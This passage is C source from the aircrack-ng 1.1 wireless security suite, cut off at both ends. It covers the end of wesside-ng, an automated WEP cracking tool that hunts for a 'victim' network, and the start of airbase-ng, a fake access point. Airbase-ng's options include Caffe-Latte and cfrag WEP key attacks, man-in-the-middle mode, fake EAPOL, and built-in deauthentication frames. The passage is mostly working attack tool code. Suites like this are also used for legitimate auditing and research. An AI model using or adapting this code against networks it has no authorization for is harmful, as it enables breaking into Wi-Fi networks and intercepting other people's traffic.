(signal (SIGCHLD, &sigchild) == SIG_ERR) { perror("signal()"); exit(1); } time_print("Looking for a victim...\n"); if (gettimeofday(&ws->ws_lasthop, NULL) == -1) { perror("gettimeofday()"); exit(1); } memcpy(&ws->ws_last_wcount, &ws->ws_lasthop, sizeof(ws->ws_last_wcount)); memcpy(&last_status, &ws->ws_lasthop, sizeof(last_status)); while (1) { if (gettimeofday(&now, NULL) == -1) { perror("gettimeofday()"); exit(1); } /* check for relay timeout */ check_relay_timeout(ws, &now); /* check for arp timeout */ check_arp_timeout(ws, &now); // status bar display_status_bar(ws, &now, &last_status, pbarp); // check if we are cracking if (ws->ws_crack_pid) { if ((now.tv_sec - ws->ws_crack_start.tv_sec) >= ws->ws_crack_dur) kill_crack(ws); } // check TX / retransmit check_tx(ws, &now); // INPUT // select FD_ZERO(&rfd); FD_SET(wifd, &rfd); tv.tv_sec = 0; tv.tv_usec = 1000*10; rd = select(largest+1, &rfd, NULL, NULL, &tv); if (rd == -1) { switch (errno) { case EINTR: /* handle SIGCHLD */ break; default: perror("select()"); exit(1); break; } } // read if (rd != 0 && FD_ISSET(wifd, &rfd)) { /* update status */ pbarp++; if(!(*pbarp)) pbarp = &pbar[0]; do_input(ws); } post_input(ws, &now); } } static void start(struct wstate *ws, char *dev) { struct wif *wi; ws->ws_wi = wi = wi_open(dev); if (!wi) err(1, "wi_open(%s)", dev); if (!ws->ws_have_mac) { if (wi_get_mac(wi, ws->ws_mymac) == -1) printf("Can't get mac\n"); } else { if (wi_set_mac(wi, ws->ws_mymac) == -1) printf("Can't set mac\n"); } time_print("Using mac %s\n", mac2str(ws->ws_mymac)); ws->ws_ptw = PTW_newattackstate(); if (!ws->ws_ptw) err(1, "PTW_newattackstate()"); own(ws); wi_close(wi); } static void usage(char* pname) { if (pname) {} printf("\n" " %s - (C) 2007, 2008, 2009 Andrea Bittau\n" " http://www.aircrack-ng.org\n" "\n" " Usage: wesside-ng \n" "\n" " Options:\n" "\n" " -h : This help screen\n" " -i : Interface to use (mandatory)\n" " -m : My IP address\n" " -n : Network IP address\n" " -a : Source MAC Address\n" " -c : Do not crack the key\n" " -p : Minimum bytes of PRGA to gather\n" " -v : Victim BSSID\n" " -t : Cracking threshold\n" " -f : Highest scanned chan (default: 11)\n" " -k : Ignore acks and tx txnum times\n" "\n", getVersion("Wesside-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)); exit(0); } static void str2mac(unsigned char* dst, char* mac) { unsigned int macf[6]; int i; if( sscanf(mac, "%x:%x:%x:%x:%x:%x", &macf[0], &macf[1], &macf[2], &macf[3], &macf[4], &macf[5]) != 6) { printf("can't parse mac %s\n", mac); exit(1); } for (i = 0; i < 6; i++) *dst++ = (unsigned char) macf[i]; } static void init_defaults(struct wstate *ws) { memset(ws, 0, sizeof(*ws)); ws->ws_state = FIND_VICTIM; ws->ws_max_chan = 11; memcpy(ws->ws_mymac, "\x00\x00\xde\xfa\xce\x0d", 6); ws->ws_have_mac = 0; strncpy(ws->ws_myip, "192.168.0.123", sizeof(ws->ws_myip)-1); ws->ws_ack_timeout = 100*1000; ws->ws_min_prga = 128; ws->ws_wep_thresh = ws->ws_thresh_incr = 10000; ws->ws_crack_dur = 60; } int main(int argc, char *argv[]) { struct wstate *ws = get_ws(); int ch; unsigned char vic[6]; char* dev = "IdidNotSpecifyAnInterface"; assert(ws); init_defaults(ws); if (gettimeofday(&ws->ws_real_start, NULL) == -1) { perror("gettimeofday()"); exit(1); } while ((ch = getopt(argc, argv, "hi:m:a:n:cp:v:t:f:k:")) != -1) { switch (ch) { case 'k': ws->ws_ignore_ack = atoi(optarg); break; case 'a': str2mac(ws->ws_mymac, optarg); ws->ws_have_mac = 1; break; case 'i': dev = optarg; break; case 'm': strncpy(ws->ws_myip, optarg, sizeof(ws->ws_myip)-1); ws->ws_myip[sizeof(ws->ws_myip)-1] = 0; break; case 'n': ws->ws_netip = optarg; break; case 'v': str2mac(vic, optarg); ws->ws_victim_mac = vic; break; case 'c': ws->ws_wep_thresh = -1; break; case 'p': ws->ws_min_prga = atoi(optarg); break; case 't': ws->ws_thresh_incr = ws->ws_wep_thresh = atoi(optarg); break; case 'f': ws->ws_max_chan = atoi(optarg); break; default: usage(argv[0]); break; } } if (argc > 1) start(ws, dev); else usage(argv[0]); cleanup(0); exit(0); } aircrack-ng-1.1/src/airbase-ng.c0000644000000000000000000040606511364371113015210 0ustar rootroot/* * 802.11 monitor AP * based on airtun-ng * * Copyright (C) 2008-2010 Thomas d'Otreppe * Copyright (C) 2008, 2009 Martin Beck * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifdef linux #include #endif #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "version.h" #include "pcap.h" #include "crypto.h" #include "common.h" #include "osdep/osdep.h" #include "osdep/common.h" static struct wif *_wi_in, *_wi_out; #define CRYPT_NONE 0 #define CRYPT_WEP 1 #define EXT_IN 0x01 #define EXT_OUT 0x02 #define NB_PRB 10 /* size of probed ESSID ring buffer */ #define MAX_CF_XMIT 100 #define TI_MTU 1500 #define WIF_MTU 1800 #define MAX_FRAME_EXTENSION 100 //if not all fragments are available 60 seconds after the last fragment was received, they will be removed #define FRAG_TIMEOUT (1000000*60) #define RTC_RESOLUTION 512 #define ALLOW_MACS 0 #define BLOCK_MACS 1 #define DEAUTH_REQ \ "\xC0\x00\x3A\x01\xCC\xCC\xCC\xCC\xCC\xCC\xBB\xBB\xBB\xBB\xBB\xBB" \ "\xBB\xBB\xBB\xBB\xBB\xBB\x00\x00\x07\x00" #define AUTH_REQ \ "\xB0\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xBB\xBB\xBB\xBB\xBB\xBB\xB0\x00\x00\x00\x01\x00\x00\x00" #define ASSOC_REQ \ "\x00\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00" #define NULL_DATA \ "\x48\x01\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xBB\xBB\xBB\xBB\xBB\xBB\xE0\x1B" #define RTS \ "\xB4\x00\x4E\x04\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" #define RATES \ "\x01\x04\x02\x04\x0B\x16\x32\x08\x0C\x12\x18\x24\x30\x48\x60\x6C" #define PROBE_REQ \ "\x40\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00" #define PROBE_RSP \ "\x50\x00\x3a\x01\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00" #define WPA1_TAG \ "\xdd\x16\x00\x50\xf2\x01\x01\x00\x00\x50\xf2\x02\x01\x00\x00\x50" \ "\xf2\x01\x01\x00\x00\x50\xf2\x02" #define WPA2_TAG \ "\x30\x14\x01\x00\x00\x0f\xac\x02\x01\x00\x00\x0f\xac\x01\x01\x00" \ "\x00\x0f\xac\x02\x01\x00" #define WPA_TAGS \ "\x30\x28\x01\x00\x00\x0f\xac\x01\x05\x00\x00\x0f\xac\x01\x00\x0f" \ "\xac\x02\x00\x0f\xac\x03\x00\x0f\xac\x04\x00\x0f\xac\x05\x02\x00" \ "\x00\x0f\xac\x01\x00\x0f\xac\x02\x03\x00" \ "\xdd\x2A\x00\x50\xf2\x01\x01\x00\x00\x50\xf2\x02\x05\x00\x00\x50" \ "\xf2\x01\x00\x50\xf2\x02\x00\x50\xf2\x03\x00\x50\xf2\x04\x00\x50" \ "\xf2\x05\x02\x00\x00\x50\xf2\x01\x00\x50\xf2\x02" extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); extern char * searchInside(const char * dir, const char * filename); extern unsigned char * getmac(char * macAddress, int strict, unsigned char * mac); extern int check_crc_buf( unsigned char *buf, int len ); extern int add_crc32(unsigned char* data, int length); extern const unsigned long int crc_tbl[256]; extern const unsigned char crc_chop_tbl[256][4]; char usage[] = "\n" " %s - (C) 2008-2010 Thomas d'Otreppe\n" " Original work: Martin Beck\n" " http://www.aircrack-ng.org\n" "\n" " usage: airbase-ng \n" "\n" " Options:\n" "\n" " -a bssid : set Access Point MAC address\n" " -i iface : capture packets from this interface\n" // " -y file : read PRGA from this file\n" " -w WEP key : use this WEP key to en-/decrypt packets\n" // " -t tods : send frames to AP (1) or to client (0)\n" // " -r file : read frames out of pcap file\n" " -h MAC : source mac for MITM mode\n" " -f disallow : disallow specified client MACs (default: allow)\n" " -W 0|1 : [don't] set WEP flag in beacons 0|1 (default: auto)\n" " -q : quiet (do not print statistics)\n" " -v : verbose (print more messages)\n" //" -M : M-I-T-M between [specified] clients and bssids\n" " -A : Ad-Hoc Mode (allows other clients to peer)\n" " -Y in|out|both : external packet processing\n" " -c channel : sets the channel the AP is running on\n" " -X : hidden ESSID\n" " -s : force shared key authentication (default: auto)\n" " -S : set shared key challenge length (default: 128)\n" " -L : Caffe-Latte WEP attack (use if driver can't send frags)\n" " -N : cfrag WEP attack (recommended)\n" " -x nbpps : number of packets per second (default: 100)\n" " -y : disables responses to broadcast probes\n" " -0 : set all WPA,WEP,open tags. can't be used with -z & -Z\n" " -z type : sets WPA1 tags. 1=WEP40 2=TKIP 3=WRAP 4=CCMP 5=WEP104\n" " -Z type : same as -z, but for WPA2\n" " -V type : fake EAPOL 1=MD5 2=SHA1 3=auto\n" " -F prefix : write all sent and received frames into pcap file\n" " -P : respond to all probes, even when specifying ESSIDs\n" " -I interval : sets the beacon interval value in ms\n" " -C seconds : enables beaconing of probed ESSID values (requires -P)\n" "\n" " Filter options:\n" " --bssid MAC : BSSID to filter/use\n" " --bssids file : read a list of BSSIDs out of that file\n" " --client MAC : MAC of client to filter\n" " --clients file : read a list of MACs out of that file\n" " --essid ESSID : specify a single ESSID (default: default)\n" " --essids file : read a list of ESSIDs out of that file\n" "\n" " --help : Displays this usage screen\n" "\n"; struct options { struct ST_info *st_1st, *st_end; unsigned char r_bssid[6]; unsigned char r_dmac[6]; unsigned char r_smac[6]; unsigned char f_bssid[6]; unsigned char f_netmask[6]; char *s_face; char *s_file; uchar *prga; char *dump_prefix; char *keyout; char *f_cap_name; char *prefix; int f_index; /* outfiles index */ FILE *f_cap; /* output cap file */ FILE *f_xor; /* output prga file */ unsigned char sharedkey[3][4096]; /* array for 3 packets with a size of \ up to 4096Byte */ time_t sk_start; int sk_len; int sk_len2; int r_nbpps; int prgalen; int tods; uchar wepkey[64]; int weplen, crypt; int f_essid; int promiscuous; int beacon_cache; int channel; int setWEP; int quiet; int mitm; int external; int hidden; int interval; int forceska; int skalen; int filter; int caffelatte; int ringbuffer; int adhoc; int nb_arp; int verbose; int wpa1type; int wpa2type; int nobroadprobe; int sendeapol; int allwpa; int cf_count; int cf_attack; int record_data; int ti_mtu; //MTU of tun/tap interface int wif_mtu; //MTU of wireless interface } opt; struct devices { int fd_in, arptype_in; int fd_out, arptype_out; int fd_rtc; struct tif *dv_ti; struct tif *dv_ti2; int is_wlanng; int is_hostap; int is_madwifi; int is_madwifing; int is_bcm43xx; FILE *f_cap_in; struct pcap_file_header pfh_in; } dev; struct ARP_req { unsigned char *buf; int len; }; struct AP_conf { unsigned char bssid[6]; char *essid; int essid_len; unsigned short interval; unsigned char capa[2]; }; typedef struct ESSID_list* pESSID_t; struct ESSID_list { char *essid; unsigned char len; pESSID_t next; time_t expire; }; typedef struct MAC_list* pMAC_t; struct MAC_list { unsigned char mac[6]; pMAC_t next; }; typedef struct Fragment_list* pFrag_t; struct Fragment_list { unsigned char source[6]; unsigned short sequence; unsigned char* fragment[16]; short fragmentlen[16]; char fragnum; unsigned char* header; short headerlen; struct timeval access; char wep; pFrag_t next; }; struct WPA_hdsk { uchar stmac[6]; /* supplicant MAC */ uchar snonce[32]; /* supplicant nonce */ uchar anonce[32]; /* authenticator nonce */ uchar keymic[16]; /* eapol frame MIC */ uchar eapol[256]; /* eapol frame contents */ int eapol_size; /* eapol frame size */ int keyver; /* key version (TKIP / AES) */ int state; /* handshake completion */ }; /* linked list of detected clients */ struct ST_info { struct ST_info *prev; /* the prev client in list */ struct ST_info *next; /* the next client in list */ struct AP_info *base; /* AP this client belongs to */ time_t tinit, tlast; /* first and last time seen */ unsigned long nb_pkt; /* total number of packets */ unsigned char stmac[6]; /* the client's MAC address */ char essid[256]; /* last associated essid */ int essid_length; /* essid length of last asso */ int probe_index; /* probed ESSIDs ring index */ char probes[NB_PRB][256];/* probed ESSIDs ring buffer */ int ssid_length[NB_PRB]; /* ssid lengths ring buffer */ int power; /* last signal power */ int rate_to; /* last bitrate to station */ int rate_from; /* last bitrate from station */ struct timeval ftimer; /* time of restart */ int missed; /* number of missed packets */ unsigned int lastseq; /* last seen sequnce number */ struct WPA_hdsk wpa; /* WPA handshake data */ int wpatype; /* 1=wpa1 2=wpa2 */ int wpahash; /* 1=md5(tkip) 2=sha1(ccmp) */ int wep; /* capability encryption bit */ }; typedef struct CF_packet *pCF_t; struct CF_packet { uchar frags[3][128]; /* first fragments to fill a gap */ uchar final[4096]; /* final frame derived from orig */ int fraglen[3]; /* fragmentation frame lengths */ int finallen; /* length of frame in final[] */ int xmitcount; /* how often was this frame sent */ unsigned char fragnum; /* number of fragments to send */ pCF_t next; /* next set of fragments to send */ }; pthread_mutex_t mx_cf; /* lock write access to rCF */ pthread_mutex_t mx_cap; /* lock write access to rCF */ unsigned long nb_pkt_sent; unsigned char h80211[4096]; unsigned char tmpbuf[4096]; unsigned char srcbuf[4096]; char strbuf[512]; int ctrl_c, alarmed; char * iwpriv; struct ARP_req * arp; pthread_t beaconpid; pthread_t caffelattepid; pthread_t cfragpid; pESSID_t rESSID; pMAC_t rBSSID; pMAC_t rClient; pFrag_t rFragment; pCF_t rCF; void sighandler( int signum ) { if( signum == SIGINT ) ctrl_c++; if( signum == SIGALRM ) alarmed++; } int addESSID(char* essid, int len, int expiration) { pESSID_t tmp; pESSID_t cur = rESSID; time_t now; if(essid == NULL) return -1; if(len <= 0 || len > 255) return -1; if(rESSID == NULL) return -1; while(cur->next != NULL) { // if it already exists, just update the expiration time if(cur->len == len && ! memcmp(cur->essid, essid, len)) { if(cur->expire && expiration) { time(&now); cur->expire = now + expiration; } return 0; } cur = cur->next; } //alloc mem tmp = (pESSID_t) malloc(sizeof(struct ESSID_list)); //set essid tmp->essid = (char*) malloc(len+1); memcpy(tmp->essid, essid, len); tmp->essid[len] = 0x00; tmp->len = len; // set expiration date if(expiration) { time(&now); tmp->expire = now + expiration; } else { tmp->expire = 0; } tmp->next = NULL; cur->next = tmp; return 0; } int capture_packet(uchar* packet, int length) { struct pcap_pkthdr pkh; struct timeval tv; int n; if( opt.f_cap != NULL && length >= 10) { pkh.caplen = pkh.len = length; gettimeofday( &tv, NULL ); pkh.tv_sec = tv.tv_sec; pkh.tv_usec = tv.tv_usec; n = sizeof( pkh ); flock(fileno(opt.f_cap), LOCK_EX); if( fwrite( &pkh, 1, n, opt.f_cap ) != (size_t) n ) { perror( "fwrite(packet header) failed" ); flock(fileno(opt.f_cap), LOCK_UN); return( 1 ); } fflush( stdout ); n = pkh.caplen; if( fwrite( packet, 1, n, opt.f_cap ) != (size_t) n ) { perror( "fwrite(packet data) failed" ); flock(fileno(opt.f_cap), LOCK_UN); return( 1 ); } fflush( stdout ); fflush( opt.f_cap ); flock(fileno(opt.f_cap), LOCK_UN); } return 0; } int dump_initialize( char *prefix ) { int i=0; FILE *f; char ofn[1024]; struct pcap_file_header pfh; if ( prefix == NULL) { return( 0 ); } /* check not to overflow the ofn buffer */ if( strlen( prefix ) >= sizeof( ofn ) - 10 ) prefix[sizeof( ofn ) - 10] = '\0'; /* make sure not to overwrite any existing file */ memset( ofn, 0, sizeof( ofn ) ); opt.f_index = 1; do { snprintf( ofn, sizeof( ofn ) - 1, "%s-%02d.%s", prefix, opt.f_index, "cap" ); if( ( f = fopen( ofn, "rb+" ) ) != NULL ) { fclose( f ); opt.f_index++; continue; } i++; } while( i < 1 ); opt.prefix = (char*) malloc(strlen(prefix)+2); snprintf(opt.prefix, strlen(prefix)+1, "%s", prefix); /* create the output packet capture file */ snprintf( ofn, sizeof( ofn ) - 1, "%s-%02d.cap", prefix, opt.f_index ); if( ( opt.f_cap = fopen( ofn, "wb+" ) ) == NULL ) { perror( "fopen failed" ); fprintf( stderr, "Could not create \"%s\".\n", ofn ); return( 1 ); } opt.f_cap_name = (char*) malloc(128); snprintf(opt.f_cap_name, 127, "%s",ofn); pfh.magic = TCPDUMP_MAGIC; pfh.version_major = PCAP_VERSION_MAJOR; pfh.version_minor = PCAP_VERSION_MINOR; pfh.thiszone = 0; pfh.sigfigs = 0; pfh.snaplen = 65535; pfh.linktype = LINKTYPE_IEEE802_11; if( fwrite( &pfh, 1, sizeof( pfh ), opt.f_cap ) != (size_t) sizeof( pfh ) ) { perror( "fwrite(pcap file header) failed" ); return( 1 ); } if(!opt.quiet) { PCT; printf("Created capture file \"%s\".\n", ofn); } return( 0 ); } int addFrag(unsigned char* packet, unsigned char* smac, int len) { pFrag_t cur = rFragment; int seq, frag, wep, z, i; unsigned char frame[4096]; unsigned char K[128]; if(packet == NULL) return -1; if(smac == NULL) return -1; if(len <= 32 || len > 2000) return -1; if(rFragment == NULL) return -1; memset(frame, 0, 4096); memcpy(frame, packet, len); z = ( ( frame[1] & 3 ) != 3 ) ? 24 : 30; frag = frame[22] & 0x0F; seq = (frame[22] >> 4) | (frame[23] << 4); wep = (frame[1] & 0x40) >> 6; if(frag < 0 || frag > 15) return -1; if(wep && opt.crypt != CRYPT_WEP) return -1; if(wep) { //decrypt it memcpy( K, frame + z, 3 ); memcpy( K + 3, opt.wepkey, opt.weplen ); if (decrypt_wep( frame + z + 4, len - z - 4, K, 3 + opt.weplen ) == 0 && (len-z-4 > 8) ) { printf("error decrypting... len: %d\n", len-z-4); return -1; } /* WEP data packet was successfully decrypted, * * remove the WEP IV & ICV and write the data */ len -= 8; memcpy( frame + z, frame + z + 4, len - z ); frame[1] &= 0xBF; } while(cur->next != NULL) { cur = cur->next; if( (memcmp(smac, cur->source, 6) == 0) && (seq == cur->sequence) && (wep == cur->wep) ) { //entry already exists, update // printf("got seq %d, added fragment %d \n", seq, frag); if(cur->fragment[frag] != NULL) return 0; if( (frame[1] & 0x04) == 0 ) { // printf("max fragnum is %d\n", frag); cur->fragnum = frag; //no higher frag number possible } cur->fragment[frag] = (unsigned char*) malloc(len-z); memcpy(cur->fragment[frag], frame+z, len-z); cur->fragmentlen[frag] = len-z; gettimeofday(&cur->access, NULL); return 0; } } // printf("new seq %d, added fragment %d \n", seq, frag); //new entry, first fragment received //alloc mem cur->next = (pFrag_t) malloc(sizeof(struct Fragment_list)); cur = cur->next; for(i=0; i<16; i++) { cur->fragment[i] = NULL; cur->fragmentlen[i] = 0; } if( (frame[1] & 0x04) == 0 ) { // printf("max fragnum is %d\n", frag); cur->fragnum = frag; //no higher frag number possible } else { cur->fragnum = 0; } //remove retry & more fragments flag frame[1] &= 0xF3; //set frag number to 0 frame[22] &= 0xF0; memcpy(cur->source, smac, 6); cur->sequence = seq; cur->header = (unsigned char*) malloc(z); memcpy(cur->header, frame, z); cur->headerlen = z; cur->fragment[frag] = (unsigned char*) malloc(len-z); memcpy(cur->fragment[frag], frame+z, len-z); cur->fragmentlen[frag] = len-z; cur->wep = wep; gettimeofday(&cur->access, NULL); cur->next = NULL; return 0; } int timeoutFrag() { pFrag_t old, cur = rFragment; struct timeval tv; int64_t timediff; int i; if(rFragment == NULL) return -1; gettimeofday(&tv, NULL); while(cur->next != NULL) { old = cur->next; timediff = (tv.tv_sec - old->access.tv_sec)*1000000 + (tv.tv_usec - old->access.tv_usec); if(timediff > FRAG_TIMEOUT) { //remove captured fragments if(old->header != NULL) free(old->header); for(i=0; i<16; i++) if(old->fragment[i] != NULL) free(old->fragment[i]); cur->next = old->next; free(old); } cur = cur->next; } return 0; } int delFrag(unsigned char* smac, int sequence) { pFrag_t old, cur = rFragment; int i; if(rFragment == NULL) return -1; if(smac == NULL) return -1; if(sequence < 0) return -1; while(cur->next != NULL) { old = cur->next; if(memcmp(smac, old->source, 6) == 0 && old->sequence == sequence) { //remove captured fragments if(old->header != NULL) free(old->header); for(i=0; i<16; i++) if(old->fragment[i] != NULL) free(old->fragment[i]); cur->next = old->next; free(old); return 0; } cur = cur->next; } return 0; } unsigned char* getCompleteFrag(unsigned char* smac, int sequence, int *packetlen) { pFrag_t old, cur = rFragment; int i, len=0; unsigned char* packet=NULL; unsigned char K[128]; if(rFragment == NULL) return NULL; if(smac == NULL) return NULL; while(cur->next != NULL) { old = cur->next; if(memcmp(smac, old->source, 6) == 0 && old->sequence == sequence) { //check if all frags available if(old->fragnum == 0) return NULL; for(i=0; i<=old->fragnum; i++) { if(old->fragment[i] == NULL) return NULL; len += old->fragmentlen[i]; } if(len > 2000) return NULL; // printf("got a complete frame -> build it\n"); if(old->wep) { packet = (unsigned char*) malloc(len+old->headerlen+8); if( opt.crypt == CRYPT_WEP) { K[0] = rand() & 0xFF; K[1] = rand() & 0xFF; K[2] = rand() & 0xFF; K[3] = 0x00; memcpy(packet, old->header, old->headerlen); len=old->headerlen; memcpy(packet+len, K, 4); len+=4; for(i=0; i<=old->fragnum; i++) { memcpy(packet+len, old->fragment[i], old->fragmentlen[i]); len+=old->fragmentlen[i]; } /* write crc32 value behind data */ if( add_crc32(packet+old->headerlen+4, len-old->headerlen-4) != 0 ) return NULL; len += 4; //icv memcpy( K + 3, opt.wepkey, opt.weplen ); encrypt_wep( packet+old->headerlen+4, len-old->headerlen-4, K, opt.weplen+3 ); packet[1] = packet[1] | 0x40; //delete captured fragments delFrag(smac, sequence); *packetlen = len; return packet; } else return NULL; } else { packet = (unsigned char*) malloc(len+old->headerlen); memcpy(packet, old->header, old->headerlen); len=old->headerlen; for(i=0; i<=old->fragnum; i++) { memcpy(packet+len, old->fragment[i], old->fragmentlen[i]); len+=old->fragmentlen[i]; } //delete captured fragments delFrag(smac, sequence); *packetlen = len; return packet; } } cur = cur->next; } return packet; } int addMAC(pMAC_t pMAC, unsigned char* mac) { pMAC_t cur = pMAC; if(mac == NULL) return -1; if(pMAC == NULL) return -1; while(cur->next != NULL) cur = cur->next; //alloc mem cur->next = (pMAC_t) malloc(sizeof(struct MAC_list)); cur = cur->next; //set mac memcpy(cur->mac, mac, 6); cur->next = NULL; return 0; } int delESSID(char* essid, int len) { pESSID_t old, cur = rESSID; if(essid == NULL) return -1; if(len <= 0 || len > 255) return -1; if(rESSID == NULL) return -1; while(cur->next != NULL) { old = cur->next; if(old->len == len) { if(memcmp(old->essid, essid, len) == 0) { //got it cur->next = old->next; free(old->essid); old->essid = NULL; old->next = NULL; old->len = 0; free(old); return 0; } } cur = cur->next; } return -1; } void flushESSID(void) { pESSID_t old; pESSID_t cur = rESSID; time_t now; if(rESSID == NULL) return; while(cur->next != NULL) { old = cur->next; if(old->expire) { time(&now); if(now > old->expire) { //got it cur->next = old->next; free(old->essid); old->essid = NULL; old->next = NULL; old->len = 0; free(old); return; } } cur = cur->next; } } int delMAC(pMAC_t pMAC, char* mac) { pMAC_t old, cur = pMAC; if(mac == NULL) return -1; if(pMAC == NULL) return -1; while(cur->next != NULL) { old = cur->next; if(memcmp(old->mac, mac, 6) == 0) { //got it cur->next = old->next; old->next = NULL; free(old); return 0; } cur = cur->next; } return -1; } int gotESSID(char* essid, int len) { pESSID_t old, cur = rESSID; if(essid == NULL) return -1; if(len <= 0 || len > 255) return -1; if(rESSID == NULL) return -1; while(cur->next != NULL) { old = cur->next; if(old->len == len) { if(memcmp(old->essid, essid, len) == 0) { return 1; } } cur = cur->next; } return 0; } int gotMAC(pMAC_t pMAC, unsigned char* mac) { pMAC_t cur = pMAC; if(mac == NULL) return -1; if(pMAC == NULL) return -1; while(cur->next != NULL) { cur = cur->next; if(memcmp(cur->mac, mac, 6) == 0) { //got it return 1; } } return 0; } char* getESSID(int *len) { if(rESSID == NULL) return NULL; if(rESSID->next == NULL) return NULL; *len = rESSID->next->len; return rESSID->next->essid; } int getESSIDcount() { pESSID_t cur = rESSID; int count=0; if(rESSID == NULL) return -1; while(cur->next != NULL) { cur = cur->next; count++; } return count; } int getMACcount(pMAC_t pMAC) { pMAC_t cur = pMAC; int count=0; if(pMAC == NULL) return -1; while(cur->next != NULL) { cur = cur->next; count++; } return count; } unsigned char* getMAC(pMAC_t pMAC) { pMAC_t cur = pMAC; if(pMAC == NULL) return NULL; if(cur->next != NULL) return cur->next->mac; return NULL; } int addESSIDfile(char* filename) { FILE *list; char essid[256]; int x; list = fopen(filename, "r"); if(list == NULL) { perror("Unable to open ESSID list"); return -1; } while( fgets(essid, 256, list) != NULL ) { // trim trailing whitespace x = strlen(essid) - 1; while (x >= 0 && isspace((int)essid[x])) essid[x--] = 0; if(strlen(essid)) addESSID(essid, strlen(essid), 0); } fclose(list); return 0; } int addMACfile(pMAC_t pMAC, char* filename) { FILE *list; unsigned char mac[6]; char buffer[256]; list = fopen(filename, "r"); if(list == NULL) { perror("Unable to open MAC list"); return -1; } while( fgets(buffer, 256, list) != NULL ) { if(getmac(buffer, 1, mac) == 0) addMAC(pMAC, mac); } fclose(list); return 0; } int is_filtered_netmask(uchar *bssid) { uchar mac1[6]; uchar mac2[6]; int i; for(i=0; i<6; i++) { mac1[i] = bssid[i] & opt.f_netmask[i]; mac2[i] = opt.f_bssid[i] & opt.f_netmask[i]; } if( memcmp(mac1, mac2, 6) != 0 ) { return( 1 ); } return 0; } int send_packet(void *buf, size_t count) { struct wif *wi = _wi_out; /* XXX globals suck */ if (wi_write(wi, buf, count, NULL) == -1) { perror("wi_write()"); return -1; } pthread_mutex_lock( &mx_cap ); if(opt.record_data) capture_packet(buf, count); pthread_mutex_unlock( &mx_cap ); nb_pkt_sent++; return 0; } int read_packet(void *buf, size_t count) { struct wif *wi = _wi_in; /* XXX */ int rc; rc = wi_read(wi, buf, count, NULL); if (rc == -1) { perror("wi_read()"); return -1; } return rc; } int msleep( int msec ) { struct timeval tv, tv2; float f, ticks; int n; if(msec == 0) msec = 1; ticks = 0; while( 1 ) { /* wait for the next timer interrupt, or sleep */ if( dev.fd_rtc >= 0 ) { if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 ) { perror( "read(/dev/rtc) failed" ); return( 1 ); } ticks++; } else { /* we can't trust usleep, since it depends on the HZ */ gettimeofday( &tv, NULL ); usleep( 1024 ); gettimeofday( &tv2, NULL ); f = 1000000 * (float) ( tv2.tv_sec - tv.tv_sec ) + (float) ( tv2.tv_usec - tv.tv_usec ); ticks += f / 1024; } if( ( ticks / 1024 * 1000 ) < msec ) continue; /* threshold reached */ break; } return 0; } int check_shared_key(unsigned char *h80211, int caplen) { int m_bmac, m_smac, m_dmac, n, textlen; char ofn[1024]; unsigned char text[4096]; unsigned char prga[4096]; unsigned int long crc; if((unsigned)caplen > sizeof(opt.sharedkey[0])) return 1; m_bmac = 16; m_smac = 10; m_dmac = 4; if( time(NULL) - opt.sk_start > 5) { /* timeout(5sec) - remove all packets, restart timer */ memset(opt.sharedkey, '\x00', 4096*3); opt.sk_start = time(NULL); } /* is auth packet */ if( (h80211[1] & 0x40) != 0x40 ) { /* not encrypted */ if( ( h80211[24] + (h80211[25] << 8) ) == 1 ) { /* Shared-Key Authentication */ if( ( h80211[26] + (h80211[27] << 8) ) == 2 ) { /* sequence == 2 */ memcpy(opt.sharedkey[0], h80211, caplen); opt.sk_len = caplen-24; } if( ( h80211[26] + (h80211[27] << 8) ) == 4 ) { /* sequence == 4 */ memcpy(opt.sharedkey[2], h80211, caplen); } } else return 1; } else { /* encrypted */ memcpy(opt.sharedkey[1], h80211, caplen); opt.sk_len2 = caplen-24-4; } /* check if the 3 packets form a proper authentication */ if( ( memcmp(opt.sharedkey[0]+m_bmac, NULL_MAC, 6) == 0 ) || ( memcmp(opt.sharedkey[1]+m_bmac, NULL_MAC, 6) == 0 ) || ( memcmp(opt.sharedkey[2]+m_bmac, NULL_MAC, 6) == 0 ) ) /* some bssids == zero */ { return 1; } if( ( memcmp(opt.sharedkey[0]+m_bmac, opt.sharedkey[1]+m_bmac, 6) != 0 ) || ( memcmp(opt.sharedkey[0]+m_bmac, opt.sharedkey[2]+m_bmac, 6) != 0 ) ) /* all bssids aren't equal */ { return 1; } if( ( memcmp(opt.sharedkey[0]+m_smac, opt.sharedkey[2]+m_smac, 6) != 0 ) || ( memcmp(opt.sharedkey[0]+m_smac, opt.sharedkey[1]+m_dmac, 6) != 0 ) ) 